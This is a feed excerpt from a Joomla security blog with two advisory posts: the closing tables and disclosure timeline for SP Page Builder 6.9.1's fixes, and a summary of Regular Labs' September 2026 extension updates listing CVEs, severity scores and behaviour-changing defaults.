&lt;p&gt;&lt;em&gt;Reported 8 September, the day 6.9.0 shipped, fixed in 6.9.1 on 14 September. Six CVE records, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78375/&quot;&gt;CVE-2026-78375&lt;/a&gt; (8.6 High), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79700/&quot;&gt;CVE-2026-79700&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79701/&quot;&gt;CVE-2026-79701&lt;/a&gt; (6.9 Medium), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81564/&quot;&gt;CVE-2026-81564&lt;/a&gt; (7.0 High), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81565/&quot;&gt;CVE-2026-81565&lt;/a&gt; (6.9 Medium) and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81566/&quot;&gt;CVE-2026-81566&lt;/a&gt; (5.1 Medium), all published on 14 September and all credited to Phil Taylor.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The five issues in this post: the &lt;strong&gt;Author-level blind SQL injection&lt;/strong&gt; reading the whole database, the &lt;strong&gt;unauthenticated captcha bypass&lt;/strong&gt; on the Pro form addons, the &lt;strong&gt;Editor-level file rename&lt;/strong&gt; reaching outside the web root, the &lt;strong&gt;Editor-level Joomla menu takeover&lt;/strong&gt;, and the &lt;strong&gt;Author-level web-root file write&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;JoomShaper’s 6.9.1 changelog describes all six fixes in plain language and, a few hours after release, added the CVE number against each one. Both are real improvements on the one-line security notes of earlier releases, and together they let any site owner judge the urgency without waiting for us. What the changelog does not say is where the findings came from, and that is consistent across every round we have had with this vendor. The published records close that gap from the other side: all six name Phil Taylor of mySites.guru as the finder, exactly as the July and August records did, while JoomShaper’s own changelog for each of those releases did not. Crediting a reporter in a CVE record is the Joomla CNA’s practice, not the vendor’s.&lt;/p&gt;
&lt;h2&gt;How mySites.guru helps&lt;/h2&gt;
&lt;p&gt;You do not have to audit each site by hand. mySites.guru tracks the exact version of every extension on every Joomla site it monitors, and flags any site running a version we know to be vulnerable, this one included. Instead of opening each site to check whether it is on SP Page Builder 6.9.1 yet, you get a single list of the ones that are not, and you can update them from the same screen.&lt;/p&gt;
&lt;p&gt;That is the whole point of watching a portfolio of client sites in one place: a flaw like this stops being a site-by-site scramble and becomes one filtered list and a batch update.&lt;/p&gt;

























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;SP Page Builder for Joomla (&lt;code&gt;com_sppagebuilder&lt;/code&gt;), including the com_content integration plugin&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Author-level blind SQL injection (CWE-89); unauthenticated captcha bypass (CWE-807); path traversal in the media endpoints (CWE-22); missing access control on menu items (CWE-284)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;Joomla CNA published records, 14 September 2026: 8.6 High, 7.0 High, and four at 6.9 to 5.1 Medium, given per finding above&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78375/&quot;&gt;CVE-2026-78375&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79700/&quot;&gt;CVE-2026-79700&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79701/&quot;&gt;CVE-2026-79701&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81564/&quot;&gt;CVE-2026-81564&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81565/&quot;&gt;CVE-2026-81565&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81566/&quot;&gt;CVE-2026-81566&lt;/a&gt;. All six published by the Joomla CNA on 14 September 2026. JoomShaper’s changelog transposes the last two&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Full database read from an Author account; anonymous captcha bypass on all three Pro form addons; Editor-level file rename and menu takeover; Author-level web-root file write&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru, named on all six published records&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;SP Page Builder 6.9.0 and earlier. Published lower bounds: 5.2.1 for the SQL injection, 3.2.6 and 5.1.4 for the two captcha routes, 4.0.0 for the three authorisation flaws. Four of the five affect Pro and the free Lite edition alike; the captcha bypass is Pro-only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;SP Page Builder 6.9.1 (Pro and Lite), released 14 September 2026. Joomla 3 Security Patch 1.0.3 (30 September 2026) completes the back-port, including the captcha bypass and a corrected XSS fix, and installs only over SP Page Builder 5.6.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;8 September 2026, 12:47 BST, privately to JoomShaper with the Joomla security team copied in&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acknowledged&lt;/td&gt;&lt;td&gt;8 September 2026. A first fix build arrived the same afternoon and was rejected; a second on 9 September was accepted&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fix verified by mySites.guru&lt;/td&gt;&lt;td&gt;Against the released 6.9.1 Pro package, 14 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;8 September 2026&lt;/strong&gt; Reported privately, the day 6.9.0 shipped Five issues, reported to JoomShaper with the Joomla security team copied in: an Author-level blind SQL injection reading the whole database, an unauthenticated captcha bypass on the form addons, an Editor-level file rename reaching outside the web root, an Editor-level Joomla menu takeover, and an Author-level web-root file write. All five confirmed by live exploitation on a Joomla 5 test site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;8 September 2026&lt;/strong&gt; JoomShaper acknowledged and sent a first fix build, which we rejected Support confirmed within the hour and the development team returned a package the same afternoon. We retested it and sent it back for two reasons. It closed four of the five but left the captcha reachable by a second route, which we then named in all three form addons. And its manifest still read 6.9.0, identical to the vulnerable release, so Joomla&apos;s updater would never have offered it and no scanner could tell a patched site from an unpatched one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;9 September 2026&lt;/strong&gt; A second build, which we accepted JoomShaper sent a revised package the next morning. We retested it and replied that it was much improved and could be released.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;14 September 2026&lt;/strong&gt; SP Page Builder 6.9.1 ships, and we verify it Pro and Lite both released as 6.9.1, alongside a separate Joomla 3 Security Patch. We read the released Pro package and confirmed all five fixes are present, that the manifests really declare 6.9.1, and that the captcha route is closed in all three form addons rather than only the one the changelog names.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;14 September 2026&lt;/strong&gt; Six CVE identifiers appear in the vendor changelog Later the same day JoomShaper added CVE numbers to the 6.9.1 changelog: CVE-2026-78375, CVE-2026-79700, CVE-2026-79701, CVE-2026-81564, CVE-2026-81565 and CVE-2026-81566. Six rather than five, because the captcha bypass was split into one record per route.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;14 September 2026&lt;/strong&gt; The Joomla CNA publishes all six records Published within minutes of each other, each with a CVSS 4.0 score, an affected range and a credit line naming Phil Taylor of mySites.guru. The vendor changelog puts two of the six against the wrong findings, and the records are the authority: CVE-2026-81565 is the media upload, CVE-2026-81566 is the menu item. This post follows the records.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;Our previous SP Page Builder round: SQL injection and mail relay&lt;/a&gt; - fixed in 6.7.1, and the round where we first noted the captcha that verifies nothing.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/extension/sp-page-builder-pro-next&quot;&gt;JoomShaper&apos;s SP Page Builder download page&lt;/a&gt; - the 6.9.1 changelog, which describes all five fixes in plain language.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;The pre-auth remote code execution we found in 6.7.1&lt;/a&gt; - a flaw in the method directly below the one the previous fix hardened, fixed in 6.8.0.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;The June 2026 SP Page Builder icon-upload zero-day&lt;/a&gt; - an earlier, separate flaw in the same component, exploited in the wild and fixed in 6.6.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like these.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/807.html&quot;&gt;CWE-807: Reliance on Untrusted Inputs in a Security Decision&lt;/a&gt; - the weakness classes the published records assign to the two headline findings.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;JoomShaper&lt;/a&gt; - the vendor&apos;s site, where SP Page Builder 6.9.1 is available.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>sp page builder</category><category>sql injection</category><category>captcha bypass</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure.png" length="0" type="image/png"/></item><item><title>Regular Labs Publishes 24 Joomla Extension Updates Including 10 Security Fixes</title><link>https://mysites.guru/blog/regular-labs-september-2026-security-updates/</link><guid isPermaLink="true">https://mysites.guru/blog/regular-labs-september-2026-security-updates/</guid><description>Regular Labs shipped 24 Joomla extension updates on 13 September 2026. Ten fix security issues across nine CVEs, and four change behaviour on update.</description><pubDate>Sun, 13 Sep 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://regularlabs.com/latest-releases&quot;&gt;Regular Labs&lt;/a&gt;, Peter van Westen’s Joomla extension house, published 24 extension updates on 13 September 2026. Every one of them shipped the same day. Ten have a &lt;code&gt;[SECURITY FIX]&lt;/code&gt; entry in the changelog, covering nine CVE identifiers between them, and four of those ten are flagged by the vendor as &lt;code&gt;BC BREAK&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is the second catalogue-wide release in eight weeks. The &lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;22 July round&lt;/a&gt; patched around thirty extensions with no CVE numbers attached at the time. Every version this batch marks as affected is a build from that July release or later, so the sites that did the right thing in July are precisely the sites with something to do again now.&lt;/p&gt;
&lt;h2&gt;Update, 27 September 2026: Tabs &amp;amp; Accordions 3.2.0 fixes a second issue&lt;/h2&gt;
&lt;p&gt;Tabs &amp;amp; Accordions 3.1.0, recommended below, is no longer the version to be on. Regular Labs released 3.2.0 on 27 September with a separate security fix, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100751/&quot;&gt;CVE-2026-100751&lt;/a&gt;: &lt;code&gt;data-rlta-url&lt;/code&gt; attributes accepted executable JavaScript URLs, so a content author could plant script that ran for visitors. 3.1.0 only fixed the &lt;code&gt;data-rlta-alias&lt;/code&gt; attribute, so update to 3.2.0 even if you updated in September. Modules Anywhere 10.0.0 was released the same day with a fix of its own, covered in &lt;a href=&quot;https://mysites.guru/blog/regular-labs-modules-anywhere-10-tabs-accordions-3-2-security/&quot;&gt;our post on both releases&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Do Conditional Content first&lt;/p&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85192/&quot;&gt;CVE-2026-85192&lt;/a&gt;, fixed in Conditional Content 8.0.0, let an untrusted article author run PHP through an inline Condition Rule. That is code execution reachable by the lowest content-authoring role on a Joomla site. Everything else in this batch is cross-site scripting or information disclosure. If you triage nothing else, triage this one. It affects the Pro edition.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;24 extensions updated&lt;/strong&gt;, all dated 13 September 2026. Ten have security fixes, fourteen are ordinary maintenance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nine CVE identifiers&lt;/strong&gt;, unpublished on release day and live at cve.org the next morning, scored from 5.3 Medium to 9.4 Critical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two CVEs span multiple extensions&lt;/strong&gt; because the code is shared. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85188/&quot;&gt;CVE-2026-85188&lt;/a&gt; covers four extensions, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85196/&quot;&gt;CVE-2026-85196&lt;/a&gt; covers two.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85192/&quot;&gt;CVE-2026-85192&lt;/a&gt; is the outlier&lt;/strong&gt;: PHP execution by an article author, in Conditional Content. The rest are XSS and information disclosure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Four releases are flagged &lt;code&gt;BC BREAK&lt;/code&gt;&lt;/strong&gt; and will stop working features until an administrator re-authorises them. This is a release to stage, not to push.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Every rule is already live in our &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;vulnerability database&lt;/a&gt;&lt;/strong&gt;, so connected Joomla sites running an affected build were flagged on release day, a full day before the records published.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Regular Labs shipped on 13 September&lt;/h2&gt;
&lt;p&gt;All 24 releases, with the ten security ones marked. Version numbers link to the vendor’s changelog entry.&lt;/p&gt;


































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;Security fix&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/advancedmodulemanager/download#v12.1.0&quot;&gt;Advanced Module Manager&lt;/a&gt;&lt;/td&gt;&lt;td&gt;12.1.0&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/articlesanywhere/download#v20.0.0&quot;&gt;Articles Anywhere&lt;/a&gt;&lt;/td&gt;&lt;td&gt;20.0.0&lt;/td&gt;&lt;td&gt;Yes, BC BREAK&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/articlesfield/download#v5.0.5&quot;&gt;Articles Field&lt;/a&gt;&lt;/td&gt;&lt;td&gt;5.0.5&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/betterfrontendlink/download#v2.2.11&quot;&gt;Better Frontend Link&lt;/a&gt;&lt;/td&gt;&lt;td&gt;2.2.11&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/cachecleaner/download#v10.0.7&quot;&gt;Cache Cleaner&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.0.7&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/cdnforjoomla/download#v8.0.4&quot;&gt;CDN for Joomla!&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.0.4&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/conditionalcontent/download#v8.0.0&quot;&gt;Conditional Content&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.0.0&lt;/td&gt;&lt;td&gt;Yes, BC BREAK&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/contenttemplater/download#v14.2.0&quot;&gt;Content Templater&lt;/a&gt;&lt;/td&gt;&lt;td&gt;14.2.0&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/dbreplacer/download#v9.1.0&quot;&gt;DB Replacer&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.1.0&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/emailprotector/download#v6.3.12&quot;&gt;Email Protector&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6.3.12&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/extensionmanager/download#v9.3.5&quot;&gt;Extension Manager&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.3.5&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/geoip/download#v7.0.4&quot;&gt;GeoIP&lt;/a&gt;&lt;/td&gt;&lt;td&gt;7.0.4&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/iplogin/download#v7.0.4&quot;&gt;IP Login&lt;/a&gt;&lt;/td&gt;&lt;td&gt;7.0.4&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/keyboardshortcuts/download#v4.0.4&quot;&gt;Keyboard Shortcuts&lt;/a&gt;&lt;/td&gt;&lt;td&gt;4.0.4&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/modals/download#v17.0.0&quot;&gt;Modals&lt;/a&gt;&lt;/td&gt;&lt;td&gt;17.0.0&lt;/td&gt;&lt;td&gt;Yes, BC BREAK&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/modulesanywhere/download#v9.0.5&quot;&gt;Modules Anywhere&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.0.5&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/quickindex/download#v5.0.5&quot;&gt;Quick Index&lt;/a&gt;&lt;/td&gt;&lt;td&gt;5.0.5&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/rereplacer/download#v16.2.0&quot;&gt;ReReplacer&lt;/a&gt;&lt;/td&gt;&lt;td&gt;16.2.0&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/snippets/download#v11.0.0&quot;&gt;Snippets&lt;/a&gt;&lt;/td&gt;&lt;td&gt;11.0.0&lt;/td&gt;&lt;td&gt;Yes, BC BREAK&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/sourcerer/download#v16.0.2&quot;&gt;Sourcerer&lt;/a&gt;&lt;/td&gt;&lt;td&gt;16.0.2&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/tabsaccordions/download#v3.1.0&quot;&gt;Tabs &amp;amp; Accordions&lt;/a&gt;&lt;/td&gt;&lt;td&gt;3.1.0&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/tooltips/download#v10.1.0&quot;&gt;Tooltips&lt;/a&gt;&lt;/td&gt;&lt;td&gt;10.1.0&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/usersanywhere/download#v2.1.0&quot;&gt;Users Anywhere&lt;/a&gt;&lt;/td&gt;&lt;td&gt;2.1.0&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/whatnothing/download#v19.79.4&quot;&gt;What? Nothing!&lt;/a&gt;&lt;/td&gt;&lt;td&gt;19.79.4&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two of the fourteen non-security releases still change security-relevant behaviour without the vendor labelling them as fixes. Cache Cleaner 10.0.7 “tightens destination checks for URLs requested after cache cleaning”, and Tooltips 10.1.0 adds the same author-group gate on JavaScript Events that earned Modals and Articles Anywhere a CVE. Neither is tagged, so neither gets a rule from us, but both are worth knowing about.&lt;/p&gt;
&lt;h2&gt;The ten security fixes&lt;/h2&gt;
&lt;p&gt;Nine CVEs, ten extensions. The affected range in every case starts at the July 2026 build and ends at the version below. Scores are the Joomla CNA’s own, published on 14 September.&lt;/p&gt;











































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;th&gt;CVSS 4.0&lt;/th&gt;&lt;th&gt;Issue&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85192/&quot;&gt;CVE-2026-85192&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Conditional Content&lt;/td&gt;&lt;td&gt;8.0.0&lt;/td&gt;&lt;td&gt;9.4 Critical&lt;/td&gt;&lt;td&gt;Untrusted article authors could run PHP through inline Condition Rules&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85195/&quot;&gt;CVE-2026-85195&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Articles Anywhere&lt;/td&gt;&lt;td&gt;20.0.0&lt;/td&gt;&lt;td&gt;7.5 High&lt;/td&gt;&lt;td&gt;JavaScript Events attachable by any content author&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85196/&quot;&gt;CVE-2026-85196&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Articles Anywhere, Users Anywhere&lt;/td&gt;&lt;td&gt;20.0.0, 2.1.0&lt;/td&gt;&lt;td&gt;5.3 Medium&lt;/td&gt;&lt;td&gt;Request input unescaped, raw output open to any author&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85189/&quot;&gt;CVE-2026-85189&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Modals&lt;/td&gt;&lt;td&gt;17.0.0&lt;/td&gt;&lt;td&gt;7.5 High&lt;/td&gt;&lt;td&gt;Modal links accepted &lt;code&gt;javascript:&lt;/code&gt; URLs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88853/&quot;&gt;CVE-2026-88853&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Modals&lt;/td&gt;&lt;td&gt;17.0.0&lt;/td&gt;&lt;td&gt;7.5 High&lt;/td&gt;&lt;td&gt;JavaScript Events attachable by any content author&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88852/&quot;&gt;CVE-2026-88852&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Snippets&lt;/td&gt;&lt;td&gt;11.0.0&lt;/td&gt;&lt;td&gt;7.5 High&lt;/td&gt;&lt;td&gt;Snippet variable overrides settable by any author&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85190/&quot;&gt;CVE-2026-85190&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Quick Index&lt;/td&gt;&lt;td&gt;5.0.5&lt;/td&gt;&lt;td&gt;7.5 High&lt;/td&gt;&lt;td&gt;Crafted index class options allowed JavaScript injection&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85191/&quot;&gt;CVE-2026-85191&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Tabs &amp;amp; Accordions&lt;/td&gt;&lt;td&gt;3.1.0&lt;/td&gt;&lt;td&gt;7.5 High&lt;/td&gt;&lt;td&gt;Crafted &lt;code&gt;data-rlta-alias&lt;/code&gt; attributes ran JavaScript on click&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85188/&quot;&gt;CVE-2026-85188&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Advanced Module Manager, Conditional Content, Content Templater, ReReplacer&lt;/td&gt;&lt;td&gt;12.1.0, 8.0.0, 14.2.0, 16.2.0&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;td&gt;Condition Set labels could reference unrelated database fields&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The shared-code pattern is the thing to take away. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-85188/&quot;&gt;CVE-2026-85188&lt;/a&gt; is one defect in one Condition Set implementation that ships inside four separate products, so patching Content Templater and stopping there leaves the same bug live in three other places. Regular Labs has always built this way, and it is why a catalogue-wide release is the normal shape of a fix here rather than an overreaction.&lt;/p&gt;
&lt;p&gt;Every one of these needs an authenticated account with content rights. None is reachable by an anonymous visitor. That is the honest framing, and it is also why Conditional Content stands out: on a Joomla site the Author role is the lowest content role there is, and plenty of sites hand it out freely or allow self-registration into it.&lt;/p&gt;
&lt;h2&gt;Four of these releases will change how your site behaves&lt;/h2&gt;
&lt;p&gt;This is the part that matters operationally, and it is the part a CVE list will not tell you.&lt;/p&gt;
&lt;p&gt;Articles Anywhere 20.0.0, Conditional Content 8.0.0, Modals 17.0.0 and Snippets 11.0.0 are all flagged &lt;code&gt;BC BREAK&lt;/code&gt; by the vendor. In each case the fix was not to sanitise a value but to withdraw a capability that had been open to any content author and put it behind an author-group setting that starts switched off.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Articles Anywhere and Modals&lt;/strong&gt; now restrict JavaScript Events to selected article author groups by default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Snippets&lt;/strong&gt; now restricts Snippet variable overrides the same way.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conditional Content&lt;/strong&gt; now prevents untrusted article authors running PHP in inline Condition Rules.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In each case the new setting defaults to &lt;strong&gt;Super Users only&lt;/strong&gt;. We confirmed that in the shipped packages rather than inferring it: the &lt;code&gt;javascript_events_usergroups&lt;/code&gt; field in Articles Anywhere 20.0.0’s plugin manifest sets &lt;code&gt;default=&quot;Super Users&quot;&lt;/code&gt;, and the code default matches. Articles Anywhere 19.0.6 has no such field and no gate at all, so this arrived whole in 20.0.0.&lt;/p&gt;
